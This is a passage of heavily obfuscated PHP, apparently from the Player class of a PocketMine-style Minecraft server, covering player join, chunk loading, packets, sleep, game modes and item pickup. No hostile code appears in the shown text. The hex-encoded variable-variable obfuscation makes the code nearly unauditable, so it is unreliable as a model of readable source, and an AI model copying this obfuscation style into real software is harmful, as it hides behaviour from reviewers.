as${$vlrgswkipuv}=>${$ktbexshij}){$ubknspf="\x63\x68\x75\x6ek\x58";Level::getXZ(${${"G\x4cO\x42AL\x53"}["usp\x71x\x74\x6d\x6f\x72\x73"]},${${"\x47L\x4f\x42A\x4c\x53"}["\x75\x76t\x65bn\x65\x6a\x7a"]},${${"\x47L\x4f\x42A\x4c\x53"}["\x64\x77j\x6a\x74d"]});${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x6d\x72\x76\x63\x6b"]="\x65\x6eti\x74\x79";foreach($this->level->getChunkEntities(${$ubknspf},${${"GLOBAL\x53"}["\x64\x77\x6a\x6a\x74\x64"]})as${${"\x47L\x4f\x42\x41L\x53"}["\x73\x6d\x72\x76\x63\x6b"]}){if(${${"\x47L\x4fB\x41L\x53"}["\x79\x69ew\x6a\x62r\x74\x6f\x72\x76\x75"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}$this->teleport(${${"GL\x4fB\x41L\x53"}["\x70\x69\x69\x75\x70oss"]});$this->allowFlight=(($this->gamemode==3)or($this->gamemode==1));$this->setHealth($this->getHealth());$this->server->getPluginManager()->callEvent(${${"G\x4cOB\x41\x4cS"}["\x71\x63\x66\x7av\x6c"]}=new PlayerJoinEvent($this,new TranslationContainer(TextFormat::YELLOW."%m\x75l\x74iplayer\x2e\x70\x6cay\x65r\x2e\x6aoi\x6e\x65d",[$this->getDisplayName()])));$this->sendSettings();if(strlen(trim(${${"G\x4c\x4f\x42AL\x53"}["\x68\x70\x70\x6b\x62c\x6e"]}=$ev->getJoinMessage()))>0){$gtpmsxsv="\x6d\x73g";if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage(${$gtpmsxsv});elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("@p\x6c\x61yer",$this->getName(),$this->server->playerLoginMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("@play\x65\x72",$this->getName(),$this->server->playerLoginMsg));}$this->server->onPlayerLogin($this);$this->spawnToAll();$this->level->getWeather()->sendWeather($this);if($this->server->dserverConfig["\x65\x6e\x61\x62\x6c\x65"]and$this->server->dserverConfig["\x71\x75\x65\x72y\x41\x75\x74o\x55p\x64ate"]){$this->server->updateQuery();}if($this->getHealth()<=0){$dglddqnodn="p\x6f\x73";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fz\x7a\x79\x77\x73\x72\x73\x73\x71"]}=new RespawnPacket();${$dglddqnodn}=$this->getSpawn();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"\x47L\x4f\x42A\x4c\x53"}["\x6f\x7azy\x77\x73r\x73s\x71"]});}$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);}protected function orderChunks(){${"\x47L\x4f\x42A\x4c\x53"}["i\x6f\x6e\x65uu\x63v\x6cu"]="vie\x77\x44\x69s\x74\x61n\x63\x65";if($this->connected===false){return false;}Timings::$playerChunkOrderTimer->startTiming();${"\x47LO\x42AL\x53"}["j\x74b\x66\x67\x6av\x66"]="\x6ee\x77\x4fr\x64er";$this->nextChunkOrderRun=200;${${"\x47\x4c\x4f\x42\x41LS"}["\x69\x6fne\x75u\x63\x76lu"]}=$this->server->getMemoryManager()->getViewDistance($this->viewDistance);${"\x47\x4cOBA\x4c\x53"}["\x6f\x6d\x74\x79\x6fi\x61\x64\x74\x63"]="i";${${"\x47L\x4f\x42A\x4c\x53"}["\x6a\x74\x62\x66gj\x76\x66"]}=[];${${"\x47LO\x42\x41L\x53"}["h\x75\x71\x78\x79\x68\x62\x70t\x6a\x6c"]}=$this->usedChunks;${${"\x47LO\x42\x41\x4cS"}["\x7a\x6fk\x6d\x75\x75\x6d\x6e\x73\x66"]}=$this->x>>4;${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x79\x6f\x6b\x74f\x68tm"]}=$this->z>>4;${${"G\x4c\x4f\x42\x41L\x53"}["t\x63vu\x77\x69\x67jq\x77"]}=1;${${"\x47L\x4f\x42\x41\x4c\x53"}["\x71x\x66k\x63\x79w\x66"]}=0;${"\x47\x4cO\x42\x41L\x53"}["f\x6fo\x75\x68\x70q\x66"]="\x6e\x65\x77Or\x64\x65\x72";${${"G\x4c\x4fB\x41LS"}["\x62\x66\x6bl\x75n\x69"]}=0;${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x64\x71\x64qtc"]}=0;for(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6f\x69\x6cg\x69i\x75"]}=0;${${"\x47LOBA\x4cS"}["\x6f\x6dt\x79\x6f\x69\x61d\x74\x63"]}<${${"G\x4c\x4f\x42\x41L\x53"}["s\x61\x78\x68\x6ev\x63\x6c\x79"]};++${${"\x47\x4cOBA\x4c\x53"}["\x6fil\x67\x69iu"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x72\x6a\x76\x6c\x6e"]="ch\x75\x6ekZ";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x63\x6b\x67p\x76c\x62\x6e"]="\x7a";${"\x47\x4cOBAL\x53"}["\x66\x68\x6ai\x68\x6eg\x75xj\x68b"]="c\x68\x75\x6e\x6b\x5a";${"G\x4c\x4f\x42\x41LS"}["\x71\x68iiq\x71\x63\x76u"]="x";$liexhvbmnf="c\x65\x6e\x74\x65r\x5a";$pjnmpiw="\x7a";${"G\x4cO\x42A\x4c\x53"}["\x78\x7a\x64\x6d\x6ayk\x6a\x63\x74"]="lay\x65r";${"\x47\x4cO\x42ALS"}["\x67\x75\x6f\x6b\x6a\x75mvs\x74f"]="\x6ceg";$ywxdvbey="\x69n\x64\x65\x78";$bmfxjtiv="\x78";$wocpwduivb="\x78";${"\x47\x4c\x4fB\x41\x4c\x53"}["kv\x71\x76\x74\x78d"]="\x6ca\x73\x74\x43hun\x6b";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x79\x6aw\x6f\x73m\x64"]="\x63\x68\x75\x6ek\x58";$rrltmz="c\x68\x75\x6e\x6b\x58";$ggolsri="\x6c\x61y\x65\x72";${${"G\x4cOBA\x4cS"}["\x6b\x79\x6aw\x6f\x73\x6d\x64"]}=${$wocpwduivb}+${${"G\x4cO\x42\x41\x4cS"}["zo\x6b\x6d\x75u\x6d\x6esf"]};${${"\x47\x4c\x4fBAL\x53"}["\x6crjv\x6cn"]}=${${"\x47\x4c\x4f\x42A\x4cS"}["\x71\x64\x71\x64\x71\x74\x63"]}+${$liexhvbmnf};${"\x47L\x4f\x42\x41\x4c\x53"}["\x76n\x73kn\x63\x65"]="z";if(!isset($this->usedChunks[${${"G\x4c\x4f\x42\x41\x4c\x53"}["u\x73\x70\x71x\x74m\x6f\x72\x73"]}=Level::chunkHash(${$rrltmz},${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x68\x6a\x69\x68\x6e\x67\x75\x78j\x68\x62"]})])or$this->usedChunks[${${"\x47\x4c\x4f\x42AL\x53"}["\x75\x73pq\x78t\x6d\x6f\x72\x73"]}]===false){${"\x47L\x4f\x42\x41LS"}["y\x77\x65e\x6eo\x75\x71\x6f\x79\x6e"]="\x69\x6ed\x65\x78";${${"\x47\x4cOB\x41\x4c\x53"}["l\x65\x74\x6f\x73\x6b\x75"]}[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x77\x65e\x6e\x6fu\x71o\x79n"]}]=true;}unset(${${"\x47L\x4f\x42A\x4c\x53"}["kvqv\x74x\x64"]}[${$ywxdvbey}]);switch(${${"\x47\x4c\x4fBALS"}["\x67u\x6fk\x6au\x6d\x76stf"]}){case 0:++${$bmfxjtiv};if(${${"\x47\x4cOBA\x4c\x53"}["\x62\x66k\x6c\x75\x6e\x69"]}===${$ggolsri}){++${${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x78\x66\x6b\x63\x79\x77f"]};}break;case 1:++${${"\x47\x4cO\x42A\x4cS"}["\x76\x6es\x6bnc\x65"]};if(${$pjnmpiw}===${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["t\x63vu\x77\x69g\x6aqw"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["jbk\x72\x74\x68\x62\x73y"]="\x6c\x65\x67";++${${"\x47\x4cO\x42A\x4cS"}["\x6a\x62\x6br\x74\x68\x62\x73\x79"]};}break;case 2:--${${"\x47L\x4f\x42AL\x53"}["\x62fk\x6c\x75n\x69"]};if(-${${"G\x4cOB\x41\x4c\x53"}["qh\x69\x69\x71\x71\x63\x76u"]}===${${"\x47L\x4f\x42\x41LS"}["tc\x76\x75\x77\x69\x67\x6a\x71\x77"]}){$knwwlivw="\x6c\x65g";++${$knwwlivw};}break;case 3:--${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x63\x6b\x67\x70\x76\x63\x62\x6e"]};if(-${${"GL\x4f\x42\x41\x4c\x53"}["\x71\x64\x71\x64qtc"]}===${${"G\x4cO\x42\x41\x4c\x53"}["xz\x64m\x6a\x79k\x6a\x63\x74"]}){${"G\x4c\x4fB\x41\x4cS"}["\x65\x7a\x62l\x71\x6fym"]="\x6c\x65\x67";${${"\x47L\x4fB\x41\x4cS"}["\x65\x7a\x62l\x71\x6f\x79\x6d"]}=0;++${${"\x47LO\x42\x41LS"}["\x74cv\x75\x77\x69gjq\x77"]};}break;}}foreach(${${"\x47\x4c\x4fB\x41L\x53"}["\x68\x75q\x78\x79\x68\x62p\x74\x6a\x6c"]} as${${"G\x4c\x4f\x42\x41\x4cS"}["\x75\x73\x70\x71\x78\x74\x6dor\x73"]}=>${${"G\x4cO\x42\x41LS"}["\x74\x62\x73we\x68s"]}){$lepqiqbv="\x5a";${"\x47\x4c\x4f\x42A\x4c\x53"}["po\x70\x77uf\x68u"]="\x69nd\x65\x78";Level::getXZ(${${"G\x4c\x4fBA\x4c\x53"}["\x70\x6f\x70\x77\x75\x66\x68\x75"]},${${"\x47\x4c\x4fB\x41LS"}["r\x62\x6dfj\x77f\x6e\x63\x6d\x78\x70"]},${${"\x47\x4cO\x42A\x4cS"}["\x74\x78d\x70\x6dul\x6fy\x6a"]});$this->unloadChunk(${${"\x47\x4cO\x42\x41L\x53"}["r\x62\x6df\x6a\x77\x66\x6e\x63\x6dxp"]},${$lepqiqbv});}$this->loadQueue=${${"\x47\x4c\x4f\x42\x41L\x53"}["f\x6f\x6f\x75h\x70q\x66"]};Timings::$playerChunkOrderTimer->stopTiming();return true;}public function batchDataPacket($packet){${"\x47\x4cO\x42A\x4c\x53"}["\x79mn\x74zbux"]="\x70a\x63\x6b\x65\x74";if($this->connected===false){return false;}${"\x47L\x4f\x42ALS"}["u\x72\x75\x6a\x6d\x64"]="\x65\x76";$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75r\x75\x6am\x64"]}=new DataPacketSendEvent($this,${${"\x47\x4c\x4f\x42AL\x53"}["\x71ebr\x72\x69o\x68j"]}));if($ev->isCancelled()){return false;}if(!isset($this->batchedPackets)){$this->batchedPackets=[];}$this->batchedPackets[]=clone${${"GL\x4f\x42\x41\x4cS"}["\x79m\x6e\x74\x7a\x62u\x78"]};return true;}public function dataPacket($packet,$needACK=false){$qvhjwfwyff="\x70\x61\x63\x6be\x74";$napwsvy="p\x61\x63\x6be\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["e\x6d\x70y\x66\x79\x70\x6d\x6e\x78o"]="i\x64e\x6e\x74\x69\x66\x69e\x72";if(!$this->connected){return false;}${${"G\x4cO\x42\x41L\x53"}["qe\x62\x72\x72i\x6f\x68j"]}=AnyVersionManager::parsePacket($this,${${"\x47\x4cO\x42\x41\x4c\x53"}["q\x65b\x72\x72\x69o\x68\x6a"]});$this->server->getPluginManager()->callEvent(${${"\x47L\x4f\x42\x41LS"}["\x71\x63fzv\x6c"]}=new DataPacketSendEvent($this,${$qvhjwfwyff}));if($ev->isCancelled()){return false;}${${"\x47\x4cO\x42AL\x53"}["\x65\x6d\x70\x79\x66\x79\x70m\x6ex\x6f"]}=$this->interface->putPacket($this,${$napwsvy},${${"\x47\x4cO\x42AL\x53"}["w\x71\x6f\x77\x70xy\x79"]},false);if(${${"\x47\x4cO\x42A\x4c\x53"}["\x77\x71\x6f\x77\x70\x78\x79\x79"]} and${${"\x47L\x4f\x42\x41\x4cS"}["sen\x70\x63v\x6a"]}!==null){$nreihmju="i\x64\x65\x6e\x74\x69f\x69er";$this->needACK[${${"\x47\x4cO\x42A\x4c\x53"}["s\x65\x6e\x70\x63\x76j"]}]=false;return${$nreihmju};}return true;}public function directDataPacket($packet,$needACK=false){${"\x47L\x4fBA\x4c\x53"}["\x6e\x79\x66\x67s\x78d\x6d\x71c\x66"]="\x6e\x65\x65d\x41\x43K";${"\x47L\x4f\x42A\x4cS"}["\x73\x7aszjs"]="i\x64\x65\x6eti\x66\x69\x65\x72";$qxitsyspee="\x70\x61c\x6bet";$jxfbmzfjw="\x65\x76";${"\x47\x4cO\x42\x41\x4cS"}["\x75c\x6b\x72\x6e\x61\x6f\x6f\x6f\x77"]="\x70\x61c\x6bet";$nfowhtogal="\x70\x61c\x6b\x65\x74";if($this->connected===false){return false;}${$nfowhtogal}=AnyVersionManager::parsePacket($this,${${"G\x4c\x4f\x42A\x4cS"}["\x75ckr\x6e\x61\x6f\x6fo\x77"]});$this->server->getPluginManager()->callEvent(${$jxfbmzfjw}=new DataPacketSendEvent($this,${$qxitsyspee}));if($ev->isCancelled()){return false;}${${"G\x4c\x4f\x42\x41LS"}["sen\x70\x63\x76\x6a"]}=$this->interface->putPacket($this,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x65\x62\x72\x72\x69ohj"]},${${"\x47\x4c\x4f\x42A\x4cS"}["\x6e\x79\x66gs\x78dm\x71\x63\x66"]},true);if(${${"\x47\x4c\x4f\x42ALS"}["wq\x6f\x77p\x78\x79y"]} and${${"\x47\x4c\x4fBA\x4c\x53"}["s\x7a\x73\x7a\x6a\x73"]}!==null){${"\x47\x4c\x4f\x42\x41LS"}["\x78\x63c\x68n\x6b\x62l\x69\x7a"]="id\x65nti\x66\x69\x65r";$this->needACK[${${"GL\x4f\x42A\x4cS"}["\x78\x63ch\x6e\x6b\x62\x6c\x69\x7a"]}]=false;return${${"\x47\x4c\x4f\x42\x41LS"}["\x73en\x70\x63\x76j"]};}return true;}public function sleepOn(Vector3$pos){$rcebmgpkho="\x70";if(!$this->isOnline()){return false;}foreach($this->level->getNearbyEntities($this->boundingBox->grow(2,1,2),$this)as${$rcebmgpkho}){$rrhpbtfrfb="\x70";if(${$rrhpbtfrfb} instanceof Player){if($p->sleeping!==null and$pos->distance($p->sleeping)<=0.1){return false;}}}$this->server->getPluginManager()->callEvent(${${"\x47L\x4f\x42A\x4c\x53"}["\x71cf\x7av\x6c"]}=new PlayerBedEnterEvent($this,$this->level->getBlock(${${"G\x4c\x4f\x42\x41L\x53"}["\x77\x78\x6fe\x68\x6dq\x62\x74\x67"]})));if($ev->isCancelled()){return false;}$this->sleeping=clone${${"\x47L\x4fB\x41LS"}["w\x78o\x65\x68m\x71\x62t\x67"]};$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[$pos->x,$pos->y,$pos->z]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,true);$this->setSpawn(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x78\x6fe\x68\x6dq\x62\x74g"]});$this->level->sleepTicks=60;return true;}public function setSpawn(Vector3$pos){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x72\x68\x78\x67\x68\x75b\x7a\x6e\x79"]="p\x6f\x73";if(!(${${"G\x4c\x4fBA\x4c\x53"}["\x72r\x68\x78\x67h\x75\x62\x7an\x79"]} instanceof Position)){$fmhtiictdl="\x6ceve\x6c";${$fmhtiictdl}=$this->level;}else{${${"\x47L\x4f\x42\x41\x4cS"}["\x6d\x71\x67\x70q\x66f\x73\x73"]}=$pos->getLevel();}$this->spawnPosition=new Position($pos->x,$pos->y,$pos->z,${${"\x47\x4c\x4fB\x41L\x53"}["\x6d\x71g\x70qff\x73s"]});${${"G\x4cO\x42A\x4c\x53"}["\x6fz\x7a\x79\x77\x73rss\x71"]}=new SetSpawnPositionPacket();$pk->x=(int)$this->spawnPosition->x;$pk->y=(int)$this->spawnPosition->y;$pk->z=(int)$this->spawnPosition->z;$this->dataPacket(${${"\x47L\x4fB\x41LS"}["\x6f\x7a\x7ay\x77sr\x73s\x71"]});}public function stopSleep(){if($this->sleeping instanceof Vector3){${"G\x4cO\x42\x41\x4c\x53"}["k\x63\x75\x6f\x70zi"]="p\x6b";${"\x47L\x4f\x42A\x4c\x53"}["\x6d\x66j\x6f\x66\x76v"]="\x65\x76";$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6dfj\x6ff\x76\x76"]}=new PlayerBedLeaveEvent($this,$this->level->getBlock($this->sleeping)));$this->sleeping=null;$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[0,0,0]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,false);$this->level->sleepTicks=0;${${"\x47\x4cOBAL\x53"}["\x6b\x63\x75\x6fp\x7a\x69"]}=new AnimatePacket();$pk->eid=0;$pk->action=PlayerAnimationEvent::WAKE_UP;$this->dataPacket(${${"\x47L\x4f\x42AL\x53"}["o\x7a\x7a\x79\x77\x73r\x73\x73\x71"]});}}public function getGamemode():int{return$this->gamemode;}public function setGamemode(int$gm){${"G\x4c\x4fBA\x4c\x53"}["\x6ec\x6b\x6f\x63\x79\x7ab\x6c\x66"]="\x67\x6d";$iohonuo="\x67\x6d";if(${$iohonuo}<0 or${${"GLO\x42A\x4cS"}["\x6e\x63\x6bocyzb\x6c\x66"]}>3 or$this->gamemode===${${"G\x4c\x4fB\x41\x4cS"}["\x6a\x64f\x62\x64u\x7a\x65tj\x70"]}){return false;}$hnbtahj="\x70k";$this->server->getPluginManager()->callEvent(${${"\x47L\x4f\x42A\x4c\x53"}["\x71\x63\x66\x7a\x76l"]}=new PlayerGameModeChangeEvent($this,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["j\x64f\x62\x64\x75\x7a\x65\x74\x6ap"]}));${"\x47\x4c\x4f\x42ALS"}["hr\x6d\x71\x69i\x6c\x62\x61\x6d"]="\x70k";if($ev->isCancelled()){return false;}if($this->server->autoClearInv){$this->inventory->clearAll();}$this->gamemode=${${"\x47L\x4fBA\x4c\x53"}["j\x64f\x62d\x75\x7aet\x6a\x70"]};$this->allowFlight=$this->isCreative();if($this->isSpectator()){$this->despawnFromAll();}else{$this->spawnToAll();}$this->namedtag->playerGameType=new IntTag("player\x47ameTyp\x65",$this->gamemode);${$hnbtahj}=new SetPlayerGameTypePacket();$pk->gamemode=$this->gamemode&0x01;$this->dataPacket(${${"\x47\x4c\x4f\x42\x41LS"}["h\x72\x6dq\x69i\x6c\x62a\x6d"]});$this->sendSettings();if($this->gamemode===Player::SPECTATOR){$qoctadsel="p\x6b";${${"\x47\x4cOB\x41\x4cS"}["\x6f\x7a\x7a\x79w\x73\x72\x73\x73q"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$qoctadsel});}else{if(AnyVersionManager::isProtocol($this,"\x30.\x31\x35")){$bcggigyor="p\x6b";${${"\x47\x4c\x4f\x42ALS"}["\x6fz\x7ay\x77\x73r\x73s\x71"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${$bcggigyor});}else if(AnyVersionManager::isProtocol($this,"\x30\x2e14")){${${"\x47\x4c\x4fB\x41L\x53"}["oz\x7ay\x77\x73rs\x73\x71"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$vxgwntjeu="\x70\x6b";$this->dataPacket(${$vxgwntjeu});}}$this->inventory->sendContents($this);$this->inventory->sendContents($this->getViewers());$this->inventory->sendHeldItem($this->hasSpawned);return true;}public function sendSettings(){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dr\x79l\x75\x62\x6e\x64b\x62\x79\x6f"]}=0;if($this->isAdventure()){$fvpixxk="f\x6ca\x67\x73";${$fvpixxk}|=0x01;}if($this->autoJump){${${"\x47L\x4f\x42\x41LS"}["\x64\x72y\x6cu\x62n\x64\x62b\x79\x6f"]}|=0x40;}if($this->allowFlight){${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x72y\x6c\x75\x62\x6e\x64\x62\x62\x79\x6f"]}|=0x80;}$imfzsfjxl="flag\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6dc\x65\x78g\x6e\x62\x70\x74\x68"]="p\x6b";if($this->isSpectator()){${${"G\x4c\x4f\x42A\x4c\x53"}["\x64\x72\x79\x6cub\x6e\x64\x62\x62\x79\x6f"]}|=0x100;}${$imfzsfjxl}|=0x02;${${"\x47L\x4f\x42ALS"}["\x64r\x79lu\x62nd\x62byo"]}|=0x04;${${"GL\x4f\x42\x41\x4cS"}["d\x72y\x6c\x75\x62\x6e\x64b\x62\x79\x6f"]}|=0x08;${${"\x47\x4c\x4fB\x41\x4cS"}["\x6fz\x7a\x79wsrs\x73\x71"]}=new AdventureSettingsPacket();$pk->flags=${${"\x47LOBA\x4c\x53"}["d\x72\x79\x6c\x75\x62n\x64bb\x79\x6f"]};$pk->userPermission=2;$pk->globalPermission=2;$this->dataPacket(${${"\x47L\x4fB\x41\x4c\x53"}["\x6d\x63\x65\x78\x67\x6e\x62p\x74\x68"]});}public function isSurvival():bool{return($this->gamemode&0x01)===0;}public function isCreative():bool{return($this->gamemode&0x01)>0;}public function isSpectator():bool{return$this->gamemode===3;}public function isAdventure():bool{return($this->gamemode&0x02)>0;}public function getDrops():array{if(!$this->isCreative()){return parent::getDrops();}return[];}public function setDataProperty($id,$type,$value){if(parent::setDataProperty(${${"\x47\x4c\x4f\x42A\x4cS"}["\x66\x75\x65o\x75\x71\x63\x71i"]},${${"\x47\x4c\x4fBALS"}["\x78\x79\x64\x77\x76\x73\x6dh\x70\x75\x72"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x61\x6c\x78\x68\x72\x70\x64c\x69\x71\x70"]})){${"\x47L\x4f\x42\x41L\x53"}["\x6c\x68y\x78\x77i\x77"]="\x69\x64";$this->sendData($this,[${${"G\x4c\x4fB\x41LS"}["\x66\x75\x65\x6f\x75q\x63\x71i"]}=>$this->dataProperties[${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6chyx\x77\x69w"]}]]);return true;}return false;}protected function checkGroundState($movX,$movY,$movZ,$dx,$dy,$dz){$dnigfi="\x6do\x76\x59";if(!$this->onGround or${$dnigfi}!=0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x62\x6a\x79k\x63"]="\x62\x62";${${"\x47\x4c\x4f\x42\x41\x4cS"}["q\x62\x6a\x79\x6bc"]}=clone$this->boundingBox;$bb->maxY=$bb->minY+0.5;$fossryu="\x62\x62";$bb->minY-=1;if(count($this->level->getCollisionBlocks(${$fossryu},true))>0){$this->onGround=true;}else{$this->onGround=false;}}$this->isCollided=$this->onGround;}protected function checkBlockCollision(){${"\x47\x4cO\x42AL\x53"}["jrh\x61\x6f\x73\x74\x64\x6f"]="blo\x63\x6bs\x61\x72\x6f\x75n\x64";foreach(${${"G\x4cOBA\x4c\x53"}["\x6a\x72ha\x6fs\x74d\x6f"]}=$this->getBlocksAround()as${${"\x47\x4c\x4f\x42\x41LS"}["\x72a\x69\x6f\x6fv\x65m\x71"]}){$block->onEntityCollide($this);if($this->getServer()->redstoneEnabled){${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x79\x79\x75\x66\x76\x78w\x65x\x73"]="\x62\x6co\x63\x6b";if(${${"G\x4cO\x42\x41\x4c\x53"}["ry\x79\x75fv\x78\x77\x65xs"]} instanceof PressurePlate){$this->activatedPressurePlates[Level::blockHash($block->x,$block->y,$block->z)]=${${"G\x4c\x4fB\x41\x4c\x53"}["\x72\x61\x69\x6fo\x76\x65m\x71"]};}}}if($this->getServer()->redstoneEnabled){${"GL\x4f\x42\x41\x4c\x53"}["\x6eh\x66\x78\x74\x70\x64\x6f\x76iez"]="\x62\x6c\x6fc\x6b";$fuymovqsea="ke\x79";foreach($this->activatedPressurePlates as${$fuymovqsea}=>${${"\x47L\x4fBAL\x53"}["\x6e\x68\x66\x78t\x70\x64\x6f\x76\x69\x65z"]}){${"\x47L\x4f\x42A\x4c\x53"}["s\x65\x71e\x72p"]="\x6b\x65\x79";$rurqverhgx="\x62lo\x63\x6bsa\x72o\x75n\x64";if(!isset(${$rurqverhgx}[${${"\x47LOBA\x4c\x53"}["\x73\x65\x71\x65rp"]}]))$block->checkActivation();}}}protected function checkNearEntities($tickDiff){${"GLOB\x41\x4cS"}["mhvt\x6d\x62\x61e"]="\x65\x6et\x69\x74y";foreach($this->level->getNearbyEntities($this->boundingBox->grow(0.5,0.5,0.5),$this)as${${"\x47\x4c\x4fB\x41\x4cS"}["\x6d\x68\x76\x74\x6d\x62a\x65"]}){$entity->scheduleUpdate();if(!$entity->isAlive()){continue;}$zbqevyq="e\x6e\x74\x69t\x79";if(${${"\x47L\x4f\x42AL\x53"}["\x79\x69\x65wjb\x72\x74o\x72\x76\x75"]} instanceof Arrow and$entity->hadCollision){$hcwuyvh="\x70\x6b";${${"\x47\x4c\x4fB\x41\x4c\x53"}["f\x6fhe\x78\x75nn\x62\x65"]}=Item::get(Item::ARROW,$entity->getPotionId(),1);${${"\x47\x4c\x4fB\x41\x4cS"}["sw\x6d\x76\x71\x79g\x7ad"]}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"\x47\x4c\x4fB\x41L\x53"}["b\x6f\x69o\x76\x6c\x70"]="\x69\x74\x65\x6d";$wcslskv="\x69\x74\x65m";if(!$this->getFloatingInventory()->canAddItem(${$wcslskv})or!$this->inventory->canAddItem(${${"GL\x4f\x42A\x4cS"}["b\x6fi\x6fv\x6c\x70"]})){continue;}${${"\x47L\x4f\x42\x41\x4c\x53"}["\x73w\x6dv\x71y\x67zd"]}=true;}$this->server->getPluginManager()->callEvent(${${"G\x4cOBAL\x53"}["\x71\x63\x66\x7a\x76l"]}=new InventoryPickupArrowEvent($this->inventory,${${"\x47\x4cOB\x41\x4c\x53"}["\x79\x69ew\x6a\x62\x72t\x6f\x72\x76\x75"]}));if($ev->isCancelled()){continue;}${${"GL\x4f\x42AL\x53"}["\x6f\x7a\x7a\x79\x77\x73\x72\x73s\x71"]}=new TakeItemEntityPacket();${"GL\x4f\x42\x41L\x53"}["\x66\x67\x68\x72\x71\x6en"]="\x70k";$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"G\x4c\x4f\x42A\x4c\x53"}["\x6f\x7a\x7ay\x77\x73\x72\x73\x73q"]});${$hcwuyvh}=new TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"GL\x4f\x42A\x4c\x53"}["\x66\x67\x68r\x71n\x6e"]});${"G\x4cOBALS"}["\x78br\x7aj\x73r"]="\x61\x64\x64";if(${${"\x47L\x4f\x42A\x4c\x53"}["\x78\x62\x72\x7aj\x73\x72"]}){$this->getFloatingInventory()->addItem(clone${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66o\x68\x65x\x75\x6e\x6e\x62\x65"]});}$entity->kill();}elseif(${$zbqevyq} instanceof DroppedItem){if($entity->getPickupDelay()<=0){${${"GLO\x42\x41\x4cS"}["\x66\x6f\x68\x65x\x75\x6e\x6e\x62\x65"]}=$entity->getItem();$benupwcfiq="ite\x6d";if(${$benupwcfiq} instanceof Item){$omiogq="\x61\x64\x64";$exkipxejkm="\x65\x76";${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x6cs\x64\x75\x77q\x68"]="\x65\x6et\x69\x74y";${$omiogq}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"G\x4cO\x42\x41\x4c\x53"}["\x6c\x71\x78\x6b\x6c\x68"]="\x69\x74\x65m";${"\x47LOB\x41\x4cS"}["c\x6e\x65bg\x71\x77ff"]="\x61\x64\x64";if(!$this->getFloatingInventory()->canAddItem(${${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6f\x68\x65x\x75\x6en\x62e"]})or!$this->inventory->canAddItem(${${"\x47\x4cOB\x41\x4cS"}["\x6cqxk\x6c\x68"]})){continue;}${${"\x47L\x4f\x42\x41\x4cS"}["\x63\x6e\x65\x62\x67\x71\x77\x66f"]}=true;}$this->server->getPluginManager()->callEvent(${$exkipxejkm}=new InventoryPickupItemEvent($this->inventory,${${"\x47L\x4f\x42\x41\x4cS"}["j\x6c\x73\x64\x75w\x71\x68"]}));$rxwekygvyg="\x61d\x64";$umktvsxmm="\x70\x6b";if($ev->isCancelled()){continue;}${$umktvsxmm}=new TakeItemEntityPacket();$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x7a\x7a\x79w\x73\x72\x73s\x71"]});${${"\x47LO\x42\x41\x4c\x53"}["\x6fzz\x79w\x73r\x73\x73q"]}=new 